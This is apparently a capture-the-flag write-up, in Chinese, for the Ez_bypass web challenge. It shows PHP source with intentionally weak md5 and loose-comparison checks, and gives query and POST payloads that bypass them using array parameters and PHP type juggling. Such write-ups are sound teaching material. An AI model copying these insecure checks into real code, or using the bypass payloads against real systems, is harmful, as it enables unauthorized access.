BUUCTF：[MRCTF2020]Ez_bypass

https://buuoj.cn/challenges#[MRCTF2020]Ez_bypass

右键查看源代码

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

简单的Bypass，第一层：

(md5($id) === md5($gg) && $id !== $gg)=true

传入数组，使得md5($id)===md5($dd)===null，然后设置两个不同的键值即可

payload：

?id[]=a&gg[]=b

第二层：

(!is_numeric($passwd) && $passwd==1234567)=true

payload：

passwd=1234567abc